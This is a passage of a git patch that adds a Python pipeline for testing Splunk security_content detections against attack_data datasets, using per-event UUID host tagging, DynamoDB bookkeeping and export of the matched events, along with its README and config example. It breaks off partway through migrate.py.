From fcf4c9ac7052977763484a182150a2f0ecd9f2b0 Mon Sep 17 00:00:00 2001 From: P4T12ICK Date: Tue, 7 Jul 2026 16:48:12 +0200 Subject: [PATCH 01/24] update code --- .gitignore | 1 + .vscode/settings.json | 8 + scripts/.env.example | 22 + scripts/README.md | 299 +++++++++++ scripts/detection_utils.py | 162 ++++++ scripts/dynamo_utils.py | 214 ++++++++ scripts/migrate.py | 1012 ++++++++++++++++++++++++++++++++++++ scripts/requirements.txt | 6 + scripts/splunk_search.py | 149 ++++++ 9 files changed, 1873 insertions(+) create mode 100644 .vscode/settings.json create mode 100644 scripts/.env.example create mode 100644 scripts/README.md create mode 100644 scripts/detection_utils.py create mode 100644 scripts/dynamo_utils.py create mode 100644 scripts/migrate.py create mode 100644 scripts/requirements.txt create mode 100644 scripts/splunk_search.py diff --git a/.gitignore b/.gitignore index cdb42e79c..b7b40b0b9 100644 --- a/.gitignore +++ b/.gitignore @@ -9,6 +9,7 @@ __pycache__/ # C extensions *.so +.env # Distribution / packaging .Python diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..6241c37a5 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,8 @@ +{ + "yaml.schemas": { + "file:///Users/pbareiss/.cursor/extensions/your-publisher-id.strt-bot-detection-yaml-0.1.1/schema/detection.schema.json": [ + "**/detections/**/*.yml", + "**/detections/**/*.yaml" + ] + } +} \ No newline at end of file diff --git a/scripts/.env.example b/scripts/.env.example new file mode 100644 index 000000000..d2dbd0c95 --- /dev/null +++ b/scripts/.env.example @@ -0,0 +1,22 @@ +# Copy this file to .env and fill in your values. +# migrate.py loads .env automatically (from the scripts/ directory or repo root). + +# --- Splunk (shared) --- +SPLUNK_HOST=192.168.1.100 + +# --- Splunk HEC (upload stage) --- +SPLUNK_HEC_TOKEN=00000000-0000-0000-0000-000000000000 +SPLUNK_HEC_PORT=8088 + +# --- Splunk management API (detect / export stages) --- +SPLUNK_USERNAME=admin +SPLUNK_PASSWORD=changeme +SPLUNK_PORT=8089 + +# --- DynamoDB --- +DYNAMODB_TABLE=attack_data_map +AWS_REGION=us-east-1 + +# --- AWS credentials (optional; boto3 also reads ~/.aws or IAM roles) --- +# AWS_ACCESS_KEY_ID= +# AWS_SECRET_ACCESS_KEY= diff --git a/scripts/README.md b/scripts/README.md new file mode 100644 index 000000000..463201317 --- /dev/null +++ b/scripts/README.md @@ -0,0 +1,299 @@ +# Attack Data → Splunk Detection Pipeline + +A three-stage pipeline that validates [Splunk security_content](https://github.com/splunk/security_content) +detections against [attack_data](https://github.com/splunk/attack_data) datasets and +exports only the events that actually produced detection results. + +1. **upload** – Each dataset log file is split line-by-line. Every line becomes an + individual event with its own freshly generated UUID, uploaded to Splunk HEC with + that UUID as the `host` field. The UUID map is stored in **DynamoDB**. +2. **detect** – security_content detections are run against the uploaded data. Each + detection's SPL is rewritten so that `host` is an output field, so we learn exactly + which uploaded events triggered it. Matches are attributed back to their attack data + file and stored in DynamoDB. +3. **export** – Only the events that produced detection results are exported using + `index= host IN (uuid1, uuid2, ...)`, written one file per dataset as + `_.log`. + +## Why per-event UUIDs? + +Every uploaded event gets a unique `host` UUID. When a detection fires, the `host` +values in its results tell us precisely which source events matched — enabling a +targeted export of just the "interesting" data instead of the entire dataset. + +## Files + +| File | Purpose | +| --- | --- | +| `migrate.py` | CLI entry point with `upload`, `run`, and `export` subcommands | +| `detection_utils.py` | Discover/parse detection YAML + rewrite SPL to output `host` | +| `splunk_search.py` | Run detections over the Splunk REST API + export raw events | +| `dynamo_utils.py` | DynamoDB store (replaces the old filesystem UUID map) | +| `requirements.txt` | Python dependencies | + +## Installation + +```bash +pip install -r scripts/requirements.txt +``` + +Dependencies: `requests`, `urllib3`, `pyyaml`, `splunk-sdk`, `boto3`. + +You also need a local clone of security_content for the detections: + +```bash +git clone https://github.com/splunk/security_content.git +``` + +> **Note:** The detections reference security_content macros and lookups (e.g. +> `` `sysmon` ``, `` `security_content_summariesonly` ``, `` `_filter` ``). The +> corresponding app (e.g. ESCU / a `contentctl` build of security_content) must be +> installed on the Splunk instance, otherwise the searches will error. Detections whose +> searches fail are logged and skipped; the run continues. + +## DynamoDB table setup + +The pipeline stores its UUID map and detection results in a single DynamoDB table. +Create it once, manually. + +### Schema + +| Attribute | Type | Role | +| --- | --- | --- | +| `pk` | String | Partition key | +| `sk` | String | Sort key | + +- **Billing mode:** `PAY_PER_REQUEST` (on-demand) is recommended. +- **No secondary indexes** are required. + +### Create with the AWS CLI + +```bash +aws dynamodb create-table \ + --table-name attack_data_map \ + --attribute-definitions \ + AttributeName=pk,AttributeType=S \ + AttributeName=sk,AttributeType=S \ + --key-schema \ + AttributeName=pk,KeyType=HASH \ + AttributeName=sk,KeyType=RANGE \ + --billing-mode PAY_PER_REQUEST \ + --region +``` + +Wait until the table is active: + +```bash +aws dynamodb wait table-exists --table-name attack_data_map --region +``` + +### Create in the AWS Console + +1. Open **DynamoDB → Tables → Create table**. +2. **Table name:** `attack_data_map` +3. **Partition key:** `pk` (String) +4. **Sort key:** `sk` (String) +5. **Table settings:** choose *Customize settings* → **Capacity mode:** *On-demand*. +6. Create table. + +### Item layout + +Uploads and detection results for the same attack data file share the same partition +key, so a single query on `pk` returns everything about that file. UUID lists are +chunked (5,000 per item) to stay under DynamoDB's 400 KB item-size limit. + +**Upload record** + +``` +pk = ATTACK_DATA# +sk = DATASET## +record_type = upload +attack_data_uuid, attack_data_file, dataset_name, +source, sourcetype, index_name, chunk_index, event_count, +event_uuids = [, ...] +``` + +**Detection result record** + +``` +pk = ATTACK_DATA# +sk = DETECTION## +record_type = detection_result +attack_data_uuid, detection_id, detection_name, detection_file, +chunk_index, matched_count, updated_at, +matched_host_uuids = [, ...] +``` + +### AWS credentials + +`boto3` uses the standard AWS credential chain (environment variables, shared +credentials file, or an IAM role). The identity needs +`dynamodb:PutItem`, `dynamodb:BatchWriteItem`, `dynamodb:Query`, and +`dynamodb:Scan` on the table. + +## Configuration + +CLI flags override environment variables. + +| Variable | Flag | Default | Used by | +| --- | --- | --- | --- | +| `SPLUNK_HOST` | `--host` | – (required) | all | +| `SPLUNK_HEC_TOKEN` | `--hec-token` | – (required) | upload | +| `SPLUNK_HEC_PORT` | `--hec-port` | `8088` | upload | +| `SPLUNK_USERNAME` | `--username` | – (required) | detect/export | +| `SPLUNK_PASSWORD` | `--password` | – (required) | detect/export | +| `SPLUNK_PORT` | `--mgmt-port` | `8089` | detect/export | +| `DYNAMODB_TABLE` | `--dynamodb-table` | `attack_data_map` | all | +| `AWS_REGION` | `--aws-region` | (boto3 default) | all | + +```bash +export SPLUNK_HOST="192.168.1.100" +export SPLUNK_HEC_TOKEN="00000000-0000-0000-0000-000000000000" +export SPLUNK_USERNAME="admin" +export SPLUNK_PASSWORD="changeme" +export DYNAMODB_TABLE="attack_data_map" +export AWS_REGION="us-east-1" +``` + +## Usage + +### Full pipeline (upload → detect → export → cleanup) + +The `run` command processes **one attack data file at a time**: it uploads that +file's datasets, runs every detection against them, exports the matched events, +and then deletes the file's data from the index (`index= | delete`) +before moving on to the next file. Because only a single attack data file's data +is in the index at any time, the index-wide delete cleanly isolates each file +and keeps detection results from mingling across files. + +Cleanup is on by default and requires a Splunk user with the `can_delete` +capability. Disable it with `--no-delete`. Cleanup is automatically skipped when +`--skip-upload` is used (nothing is re-uploaded, so deleting would wipe data +that later files still need). + +Single attack data file + single detection: + +```bash +python scripts/migrate.py run \ + --attack-data datasets/malware/qakbot/qakbot.yml \ + --detection ~/security_content/detections/endpoint/some_detection.yml \ + --export-dir exported +``` + +Whole folders (searched recursively): + +```bash +python scripts/migrate.py run \ + --attack-data datasets/malware/qakbot \ + --detection ~/security_content/detections/endpoint \ + --export-dir exported +``` + +Re-run detections without re-uploading (reuses UUIDs already in DynamoDB): + +```bash +python scripts/migrate.py run \ + --attack-data datasets/malware/qakbot \ + --detection ~/security_content/detections/endpoint \ + --skip-upload +``` + +Keep the uploaded data in the index after the run (skip the per-file cleanup): + +```bash +python scripts/migrate.py run \ + --attack-data datasets/malware/qakbot \ + --detection ~/security_content/detections/endpoint \ + --export-dir exported \ + --no-delete +``` + +### Upload only + +```bash +python scripts/migrate.py upload --attack-data datasets/malware/qakbot +``` + +### Export previously matched events + +Reads all uploads and detection-matched host UUIDs from DynamoDB and exports +them, one file per dataset: + +```bash +python scripts/migrate.py export --export-dir exported +``` + +### Exported files + +Export is **per dataset**. An attack data file that defines multiple datasets +has all of its datasets uploaded, and each dataset is exported into its own +file. The filename combines the dataset name and the attack data file UUID: + +``` +/_.log +``` + +For example, `datasets/attack_techniques/T1003.002/atomic_red_team/atomic_red_team.yml` +(UUID `cc9b25e7-...`) with datasets `crowdstrike_falcon` and `windows-sysmon` +produces: + +``` +exported/crowdstrike_falcon_cc9b25e7-efc9-11eb-926b-550bf0943fbb.log +exported/windows-sysmon_cc9b25e7-efc9-11eb-926b-550bf0943fbb.log +``` + +Only events that produced detection results are written. + +### Updating the attack data in place (`--update-attack-data`) + +With `--update-attack-data` (available on `run` and `export`), the curated +per-dataset logs are additionally written **into the attack data YAML's own +folder**, and the YAML is updated: + +- `date` is set to today. +- the `datasets` section is rewritten to point at the curated files + (`_.log` in the same folder). Datasets that + produced no detection matches are dropped. + +```bash +python scripts/migrate.py run \ + --attack-data datasets/malware/qakbot \ + --detection ~/security_content/detections/endpoint \ + --update-attack-data +``` + +This effectively minimizes a dataset down to only the events that trigger +detections and updates the YAML to describe the curated data. It can be combined +with `--export-dir`, or used on its own. The original log files are left on disk +(the YAML simply stops referencing them), so review/commit the changes with git. + +## How detections are rewritten to output `host` + +`add_host_output_field()` in `detection_utils.py` rewrites the SPL so the `host` field +survives to the output: + +- `stats` / `tstats` / `eventstats` / `streamstats` / `sistats`: `host` is appended to + the `by` clause (or `by host` is added when there is none). +- `table` / `fields`: `host` is appended to the projected field list. +- Raw (non-aggregating) searches already carry `host` through. + +Pipe-splitting is quote- and bracket-aware, so subsearches, quoted strings, and `eval` +expressions are not broken. + +Example: + +``` +| tstats count from datamodel=Endpoint.Processes by Processes.dest + ⇒ | tstats count from datamodel=Endpoint.Processes by Processes.dest, host +``` + +## Notes & assumptions + +- **Search time window** defaults to all-time (`earliest=0`) because attack data + timestamps can be years old. Override with `--earliest` / `--latest`. +- **TLS verification** is disabled by default (`--verify-tls` for HEC uploads, + `--verify-ssl` for searches enable it). +- Matched hosts are intersected with the UUIDs actually uploaded in the run, so + pre-existing data in the target index is ignored during attribution. +- The target index defaults to `test` (`--index` to change). +``` diff --git a/scripts/detection_utils.py b/scripts/detection_utils.py new file mode 100644 index 000000000..a1e397063 --- /dev/null +++ b/scripts/detection_utils.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +""" +Splunk security_content detection helpers. + +Provides discovery and parsing of detection YAML files (from +https://github.com/splunk/security_content) and, crucially, a function that +rewrites a detection's SPL so that the ``host`` field is retained as an output +field. + +Why rewrite the search? Every attack data event is uploaded with its own unique +UUID as the Splunk ``host``. If a detection outputs ``host`` we learn exactly +which uploaded events triggered it, which is what lets us export only the data +that produced detection results (``index=test host IN (uuid1, uuid2, ...)``). + +The rewrite is heuristic but covers the common security_content patterns: + * ``stats`` / ``tstats`` / ``eventstats`` / ``streamstats`` / ``sistats``: + ``host`` is appended to the ``by`` clause (or ``by host`` is added when the + aggregation has none), so the aggregation is grouped per host and emits it. + * ``table`` / ``fields``: ``host`` is appended to the field list so it is not + projected away. +Raw (non-aggregating) searches already carry ``host`` through to the output. +""" + +import re +from pathlib import Path +from typing import Any, Dict, List, Optional + +import yaml + +STATS_COMMANDS = ("tstats", "sistats", "stats", "eventstats", "streamstats") +PROJECT_COMMANDS = ("table", "fields") + + +def find_detection_files(path: str) -> List[Path]: + """Return detection YAML files for a single file or a folder (recursive).""" + p = Path(path) + if p.is_file(): + return [p] if p.suffix.lower() in (".yml", ".yaml") else [] + if not p.is_dir(): + return [] + files: List[Path] = [] + for pattern in ("**/*.yml", "**/*.yaml"): + files.extend(p.glob(pattern)) + files = [f for f in files if not f.name.startswith("ssa___")] + return sorted(set(files)) + + +def parse_detection_file(file_path: Path) -> Optional[Dict[str, Any]]: + """Parse a detection YAML file into a dict, or None if it is not a detection.""" + try: + with open(file_path, "r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) + except (yaml.YAMLError, OSError): + return None + + if not isinstance(data, dict): + return None + search = data.get("search") + name = data.get("name") + if not search or not name: + return None + + return { + "file": str(file_path), + "name": name, + "id": data.get("id", ""), + "type": data.get("type", ""), + "status": data.get("status", ""), + "search": search, + } + + +def split_pipeline(search: str) -> List[str]: + """Split an SPL string on top-level pipes. + + Pipes inside single/double quotes or inside (), [], {} are ignored so we do + not break subsearches, eval expressions, or quoted strings. + """ + stages: List[str] = [] + current: List[str] = [] + depth = 0 + quote: Optional[str] = None + + for char in search: + if quote: + current.append(char) + if char == quote: + quote = None + continue + if char in ("'", '"'): + quote = char + current.append(char) + continue + if char in "([{": + depth += 1 + current.append(char) + continue + if char in ")]}": + depth = max(0, depth - 1) + current.append(char) + continue + if char == "|" and depth == 0: + stages.append("".join(current)) + current = [] + continue + current.append(char) + + stages.append("".join(current)) + return stages + + +def _has_host_token(text: str) -> bool: + return re.search(r"\bhost\b", text, flags=re.IGNORECASE) is not None + + +def _command_of(stage: str) -> str: + stripped = stage.strip() + if not stripped: + return "" + return stripped.split(None, 1)[0].lower() + + +def _add_host_to_stats(stage: str) -> str: + """Ensure a stats-family stage groups by / emits host.""" + # Locate a top-level ' by ' within this single stage (no pipes here). + match = re.search(r"\bby\b", stage, flags=re.IGNORECASE) + if match: + by_clause = stage[match.end():] + if _has_host_token(by_clause): + return stage + # Append host to the existing by-field list, preserving trailing space. + stripped = stage.rstrip() + trailing = stage[len(stripped):] + return f"{stripped}, host{trailing}" + # No by clause: add one so host is emitted per unique host. + stripped = stage.rstrip() + trailing = stage[len(stripped):] or " " + return f"{stripped} by host{trailing}" + + +def _add_host_to_projection(stage: str) -> str: + """Ensure a table/fields stage keeps host in its projected field list.""" + if _has_host_token(stage): + return stage + stripped = stage.rstrip() + trailing = stage[len(stripped):] + return f"{stripped}, host{trailing}" + + +def add_host_output_field(search: str) -> str: + """Rewrite an SPL search so that ``host`` survives to the output.""" + stages = split_pipeline(search) + rewritten: List[str] = [] + for stage in stages: + command = _command_of(stage) + if command in STATS_COMMANDS: + rewritten.append(_add_host_to_stats(stage)) + elif command in PROJECT_COMMANDS: + rewritten.append(_add_host_to_projection(stage)) + else: + rewritten.append(stage) + return "|".join(rewritten) diff --git a/scripts/dynamo_utils.py b/scripts/dynamo_utils.py new file mode 100644 index 000000000..dc6a17eec --- /dev/null +++ b/scripts/dynamo_utils.py @@ -0,0 +1,214 @@ +#!/usr/bin/env python3 +""" +DynamoDB store for the attack_data -> Splunk pipeline. + +This module replaces the filesystem UUID map. It records, per attack data file: + * the individual event UUIDs that were uploaded (the ``host`` value of every + single-line event), and + * which of those event UUIDs were matched by which security_content + detection. + +Single-table design (create the table manually, see README/instructions): + + Table name : configurable (default "attack_data_map") + Partition : pk (String) + Sort key : sk (String) + Billing : PAY_PER_REQUEST (on-demand) recommended + +Item layouts +------------ +Upload record (event UUIDs are chunked to stay under the 400 KB item limit): + pk = "ATTACK_DATA#" + sk = "DATASET##" + record_type = "upload" + attack_data_uuid, attack_data_file, dataset_name, + source, sourcetype, index_name, chunk_index, event_count, + event_uuids = [, ...] + +Detection result record (matched host UUIDs are chunked the same way): + pk = "ATTACK_DATA#" + sk = "DETECTION##" + record_type = "detection_result" + attack_data_uuid, detection_id, detection_name, detection_file, + chunk_index, matched_count, updated_at, + matched_host_uuids = [, ...] + +Because uploads and detection results for the same attack data file share the +same partition key, a single Query on ``pk`` returns everything about that +file. +""" + +from datetime import datetime, timezone +from typing import Any, Dict, Iterable, List, Optional, Set, Tuple + +import boto3 +from boto3.dynamodb.conditions import Attr, Key + +DEFAULT_TABLE_NAME = "attack_data_map" +RECORD_UPLOAD = "upload" +RECORD_DETECTION = "detection_result" + +# Keep list attributes well under the 400 KB DynamoDB item size limit. +# ~40 bytes per UUID -> 5000 UUIDs is roughly 200 KB. +CHUNK_SIZE = 5000 + +ATTACK_DATA_PREFIX = "ATTACK_DATA#" + + +def get_table(table_name: str, region: Optional[str] = None): + """Return a boto3 DynamoDB Table resource.""" + kwargs = {"region_name": region} if region else {} + resource = boto3.resource("dynamodb", **kwargs) + return resource.Table(table_name) + + +def _chunk(items: List[str], size: int = CHUNK_SIZE) -> Iterable[Tuple[int, List[str]]]: + for index in range(0, len(items), size): + yield index // size, items[index : index + size] + + +def _now_iso() -> str: + return datetime.now(timezone.utc).isoformat() + + +def store_upload( + table, + attack_data_uuid: str, + attack_data_file: str, + dataset_name: str, + source: str, + sourcetype: str, + index_name: str, + event_uuids: List[str], +) -> None: + """Persist the event UUIDs uploaded for one dataset of an attack data file.""" + if not event_uuids: + return + pk = f"{ATTACK_DATA_PREFIX}{attack_data_uuid}" + with table.batch_writer() as batch: + for chunk_index, chunk in _chunk(event_uuids): + batch.put_item( + Item={ + "pk": pk, + "sk": f"DATASET#{dataset_name}#{chunk_index:05d}", + "record_type": RECORD_UPLOAD, + "attack_data_uuid": attack_data_uuid, + "attack_data_file": attack_data_file, + "dataset_name": dataset_name, + "source": source, + "sourcetype": sourcetype, + "index_name": index_name, + "chunk_index": chunk_index, + "event_count": len(chunk), + "event_uuids": chunk, + } + ) + + +def store_detection_result( + table, + attack_data_uuid: str, + detection_id: str, + detection_name: str, + detection_file: str, + matched_host_uuids: List[str], +) -> None: + """Persist which event UUIDs of an attack data file a detection matched.""" + if not matched_host_uuids: + return + pk = f"{ATTACK_DATA_PREFIX}{attack_data_uuid}" + safe_id = detection_id or detection_name + updated_at = _now_iso() + with table.batch_writer() as batch: + for chunk_index, chunk in _chunk(matched_host_uuids): + batch.put_item( + Item={ + "pk": pk, + "sk": f"DETECTION#{safe_id}#{chunk_index:05d}", + "record_type": RECORD_DETECTION, + "attack_data_uuid": attack_data_uuid, + "detection_id": detection_id, + "detection_name": detection_name, + "detection_file": detection_file, + "chunk_index": chunk_index, + "matched_count": len(chunk), + "updated_at": updated_at, + "matched_host_uuids": chunk, + } + ) + + +def get_event_uuids_for_attack_data(table, attack_data_uuid: str) -> Set[str]: + """Return all uploaded event UUIDs recorded for an attack data file.""" + uuids: Set[str] = set() + for dataset_uuids in get_uploads_for_attack_data(table, attack_data_uuid).values(): + uuids.update(dataset_uuids) + return uuids + + +def get_uploads_for_attack_data( + table, attack_data_uuid: str +) -> Dict[str, Set[str]]: + """Return {dataset_name: {event_uuids}} recorded for an attack data file.""" + pk = f"{ATTACK_DATA_PREFIX}{attack_data_uuid}" + datasets: Dict[str, Set[str]] = {} + kwargs = { + "KeyConditionExpression": Key("pk").eq(pk) & Key("sk").begins_with("DATASET#"), + } + while True: + resp = table.query(**kwargs) + for item in resp.get("Items", []): + name = item.get("dataset_name", "unknown") + datasets.setdefault(name, set()).update(item.get("event_uuids", [])) + if "LastEvaluatedKey" not in resp: + break + kwargs["ExclusiveStartKey"] = resp["LastEvaluatedKey"] + return datasets + + +def get_all_uploads(table) -> Dict[str, Dict[str, Any]]: + """Scan all upload records and return the per-dataset UUID map. + + Returns:: + + { attack_data_uuid: { + "file": , + "datasets": { dataset_name: {event_uuids} }, + } } + """ + uploads: Dict[str, Dict[str, Any]] = {} + kwargs = {"FilterExpression": Attr("record_type").eq(RECORD_UPLOAD)} + while True: + resp = table.scan(**kwargs) + for item in resp.get("Items", []): + attack_data_uuid = item.get("attack_data_uuid") + if not attack_data_uuid: + continue + entry = uploads.setdefault( + attack_data_uuid, + {"file": item.get("attack_data_file", ""), "datasets": {}}, + ) + name = item.get("dataset_name", "unknown") + entry["datasets"].setdefault(name, set()).update( + item.get("event_uuids", []) + ) + if "LastEvaluatedKey" not in resp: + break + kwargs["ExclusiveStartKey"] = resp["LastEvaluatedKey"] + return uploads + + +def get_all_matched_host_uuids(table) -> Set[str]: + """Scan the table and return the union of all detection-matched host UUIDs.""" + uuids: Set[str] = set() + kwargs = { + "FilterExpression": Attr("record_type").eq(RECORD_DETECTION), + } + while True: + resp = table.scan(**kwargs) + for item in resp.get("Items", []): + uuids.update(item.get("matched_host_uuids", [])) + if "LastEvaluatedKey" not in resp: + break + kwargs["ExclusiveStartKey"] = resp["LastEvaluatedKey"] + return uuids diff --git a/scripts/migrate.py b/scripts/migrate.py new file mode 100644 index 000000000..5957e5b55 --- /dev/null +++ b/scripts/migrate.py @@ -0,0 +1,1012 @@ +#!/usr/bin/env python3 +""" +Attack Data -> Splunk pipeline. + +A three-stage pipeline for validating Splunk security_content detections +against attack_data datasets: + + 1. upload Split each dataset log file line-by-line, assign every line its own + UUID, and upload each event to Splunk HEC with that UUID as the + ``host``. The UUID map is stored in DynamoDB (not the filesystem). + + 2. detect Run security_content detections (rewritten so ``host`` is an output + field) against the uploaded data. The event UUIDs each detection + matches are attributed back to their attack data file and stored in + DynamoDB. + + 3. export Export only the events that produced detection results using + ``index= host IN (uuid1, uuid2, ...)``. + +The ``run`` subcommand performs all three stages in one pass. ``upload`` and +``export`` are also available standalone. Both ``--attack-data`` and +``--detection`` accept either a single file or a folder (searched recursively). + +Connection settings (CLI flags override environment variables): + SPLUNK_HOST Splunk hostname/IP (required) + SPLUNK_HEC_TOKEN HEC token for uploading (required for upload) + SPLUNK_HEC_PORT HEC port (default: 8088) + SPLUNK_USERNAME Splunk user for searching (required for detect/export) + SPLUNK_PASSWORD Splunk password for searching (required for detect/export) + SPLUNK_PORT Splunk management port (default: 8089) + DYNAMODB_TABLE DynamoDB table name (default: attack_data_map) + AWS_REGION AWS region for DynamoDB (optional) + +DynamoDB table setup (create it manually once): + aws dynamodb create-table \\ + --table-name attack_data_map \\ + --attribute-definitions AttributeName=pk,AttributeType=S \\ + AttributeName=sk,AttributeType=S \\ + --key-schema AttributeName=pk,KeyType=HASH \\ + AttributeName=sk,KeyType=RANGE \\ + --billing-mode PAY_PER_REQUEST \\ + --region + +Examples: + # Full pipeline: one attack data file + one detection + python scripts/migrate.py run \\ + --attack-data datasets/malware/qakbot/qakbot.yml \\ + --detection ~/security_content/detections/endpoint/some_detection.yml \\ + --export-dir exported + + # Full pipeline over whole folders + python scripts/migrate.py run \\ + --attack-data datasets/malware/qakbot \\ + --detection ~/security_content/detections/endpoint \\ + --export-dir exported + + # Minimize datasets in place: save curated logs next to each YAML and + # update the YAML (new date + datasets section) + python scripts/migrate.py run \\ + --attack-data datasets/malware/qakbot \\ + --detection ~/security_content/detections/endpoint \\ + --update-attack-data + + # Upload only + python scripts/migrate.py upload --attack-data datasets/malware/qakbot + + # Export previously-matched events recorded in DynamoDB (one file per dataset) + python scripts/migrate.py export --export-dir exported +""" + +import argparse +import json +import os +import re +import sys +import urllib.parse +import uuid +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, Iterator, List, Optional, Set, Tuple + +import requests +import yaml +from urllib3 import disable_warnings + +import dynamo_utils +import detection_utils +import splunk_search + +DEFAULT_INDEX = "test" +DEFAULT_HEC_PORT = "8088" +DEFAULT_MGMT_PORT = "8089" +DEFAULT_BATCH_SIZE = 500 + + +# --------------------------------------------------------------------------- # +# Configuration helpers +# --------------------------------------------------------------------------- # +def get_project_root() -> Path: + """Return the repository root (the parent of the scripts/ directory).""" + return Path(__file__).resolve().parent.parent + + +def load_env() -> None: + """Load environment variables from a .env file if one is present. + + Looks for a .env file next to this script first, then at the repository + root. Existing environment variables are not overridden, so real shell + variables always win over the .env file. + """ + try: + from dotenv import load_dotenv + except ImportError: + print("Warning: python-dotenv not installed; skipping .env loading") + return + script_dir = Path(__file__).resolve().parent + for candidate in (script_dir / ".env", get_project_root() / ".env"): + if candidate.is_file(): + load_dotenv(candidate, override=False) + print(f"Loaded environment from {candidate}") + + +def load_hec_config(args: argparse.Namespace) -> Dict[str, str]: + """Resolve Splunk HEC (upload) settings from CLI args or environment.""" + host = args.host or os.environ.get("SPLUNK_HOST") + token = args.hec_token or os.environ.get("SPLUNK_HEC_TOKEN") + port = args.hec_port or os.environ.get("SPLUNK_HEC_PORT") or DEFAULT_HEC_PORT + + missing = [] + if not host: + missing.append("SPLUNK_HOST (or --host)") + if not token: + missing.append("SPLUNK_HEC_TOKEN (or --hec-token)") + if missing: + raise ValueError("Missing HEC settings: " + ", ".join(missing)) + + return {"host": host, "token": token, "port": str(port)} + + +def load_mgmt_config(args: argparse.Namespace) -> Dict[str, str]: + """Resolve Splunk management (search) settings from CLI args or environment.""" + host = args.host or os.environ.get("SPLUNK_HOST") + username = args.username or os.environ.get("SPLUNK_USERNAME") + password = args.password or os.environ.get("SPLUNK_PASSWORD") + port = args.mgmt_port or os.environ.get("SPLUNK_PORT") or DEFAULT_MGMT_PORT + + missing = [] + if not host: + missing.append("SPLUNK_HOST (or --host)") + if not username: + missing.append("SPLUNK_USERNAME (or --username)") + if not password: + missing.append("SPLUNK_PASSWORD (or --password)") + if missing: + raise ValueError("Missing Splunk management settings: " + ", ".join(missing)) + + return {"host": host, "username": username, "password": password, "port": str(port)} + + +def get_dynamo_table(args: argparse.Namespace): + """Return the configured DynamoDB table resource.""" + table_name = ( + args.dynamodb_table + or os.environ.get("DYNAMODB_TABLE") + or dynamo_utils.DEFAULT_TABLE_NAME + ) + region = args.aws_region or os.environ.get("AWS_REGION") + return dynamo_utils.get_table(table_name, region), table_name + + +# --------------------------------------------------------------------------- # +# Attack data discovery / parsing +# --------------------------------------------------------------------------- # +def find_attack_data_files(path: Path) -> List[Path]: + """Return attack data YAML files for a single file or a folder (recursive).""" + if path.is_file(): + return [path] if path.suffix.lower() in (".yml", ".yaml") else [] + if not path.is_dir(): + return [] + yaml_files: List[Path] = [] + for pattern in ("**/*.yml", "**/*.yaml"): + yaml_files.extend(path.glob(pattern)) + yaml_files = [ + f + for f in yaml_files + if not f.name.startswith("TEMPLATE") and "old" not in f.name.lower() + ] + return sorted(set(yaml_files)) + + +def parse_attack_data_file( + yml_file: Path, +) -> Tuple[Optional[str], List[Dict[str, Any]]]: + """Parse an attack data YAML file into (file_id, datasets).""" + try: + with open(yml_file, "r", encoding="utf-8") as file: + data = yaml.safe_load(file) + except (yaml.YAMLError, OSError) as exc: + print(f" ! Error parsing {yml_file}: {exc}") + return None, [] + + if not isinstance(data, dict): + return None, [] + file_id = data.get("id") + datasets = data.get("datasets") + if not file_id or not isinstance(datasets, list): + return None, [] + return file_id, datasets + + +def resolve_dataset_path(project_root: Path, yml_file: Path, dataset_path: str) -> Path: + """Resolve a dataset path (``/datasets/...`` = repo-relative) to an absolute path.""" + if dataset_path.startswith("/"): + return project_root / dataset_path.lstrip("/") + return yml_file.parent / dataset_path + + +def _relative(path: Path, root: Path) -> str: + try: + return str(path.relative_to(root)) + except ValueError: + return str(path) + + +# --------------------------------------------------------------------------- # +# HEC upload +# --------------------------------------------------------------------------- # +def build_hec_url(config: Dict[str, str]) -> str: + return urllib.parse.urljoin( + f"https://{config['host']}:{config['port']}", + "services/collector/event", + ) + + +def send_event_batch( + session: requests.Session, + url: str, + config: Dict[str, str], + events: List[Dict[str, Any]], + verify_tls: bool, +) -> bool: + """Send a batch of events to the HEC JSON event endpoint.""" + if not events: + return True + headers = { + "Authorization": f"Splunk {config['token']}", + "X-Splunk-Request-Channel": str(uuid.uuid4()), + } + payload = "\n".join(json.dumps(event) for event in events) + try: + res = session.post( + url, data=payload.encode("utf-8"), headers=headers, verify=verify_tls + ) + except requests.RequestException as exc: + print(f" x Error sending batch of {len(events)} event(s): {exc}") + return False + + if res.ok: + return True + print(f" x HTTP {res.status_code} sending batch of {len(events)} event(s)") + try: + data = res.json() + print(f" HEC response: code={data.get('code')}, text={data.get('text')}") + except ValueError: + print(f" HEC raw response: {res.text.strip()}") + return False + + +def iter_event_lines(file_path: Path) -> Iterator[str]: + """Yield each non-empty line of a dataset file (line endings stripped).""" + with open(file_path, "r", encoding="utf-8", errors="replace") as datafile: + for line in datafile: + line = line.rstrip("\n").rstrip("\r") + if line.strip(): + yield line + + +def upload_dataset_lines( + session: requests.Session, + url: str, + config: Dict[str, str], + file_path: Path, + index: str, + source: str, + sourcetype: str, + batch_size: int, + verify_tls: bool, +) -> Tuple[List[str], int]: + """Split a dataset file line-by-line, upload each line with its own UUID host.""" + event_uuids: List[str] = [] + failed = 0 + batch: List[Dict[str, Any]] = [] + batch_uuids: List[str] = [] + + def flush() -> None: + nonlocal failed + if not batch: + return + if send_event_batch(session, url, config, batch, verify_tls): + event_uuids.extend(batch_uuids) + else: + failed += len(batch) + batch.clear() + batch_uuids.clear() + + for line in iter_event_lines(file_path): + event_uuid = str(uuid.uuid4()) + batch.append( + { + "event": line, + "host": event_uuid, + "source": source, + "sourcetype": sourcetype, + "index": index, + } + ) + batch_uuids.append(event_uuid) + if len(batch) >= batch_size: + flush() + flush() + return event_uuids, failed + + +def upload_attack_data_file( + session: requests.Session, + url: str, + table, + yml_file: Path, + project_root: Path, + config: Dict[str, str], + index: str, + batch_size: int, + verify_tls: bool, +) -> Tuple[Optional[str], str, Dict[str, Set[str]], int, int]: + """Upload every dataset in one attack data file; record the UUID map in DynamoDB. + + Returns (attack_data_uuid, attack_data_file, dataset_uuids, sent, failed) where + dataset_uuids maps each dataset name to its set of event UUIDs. + """ + rel_file = _relative(yml_file, project_root) + print(f"\nProcessing {rel_file}...") + file_id, datasets = parse_attack_data_file(yml_file) + if not file_id or not datasets: + print(" ! Skipping - no valid attack data structure found") + return None, rel_file, {}, 0, 0 + + print(f" attack data uuid: {file_id}") + dataset_uuids: Dict[str, Set[str]] = {} + sent_events = 0 + failed_events = 0 + + for dataset in 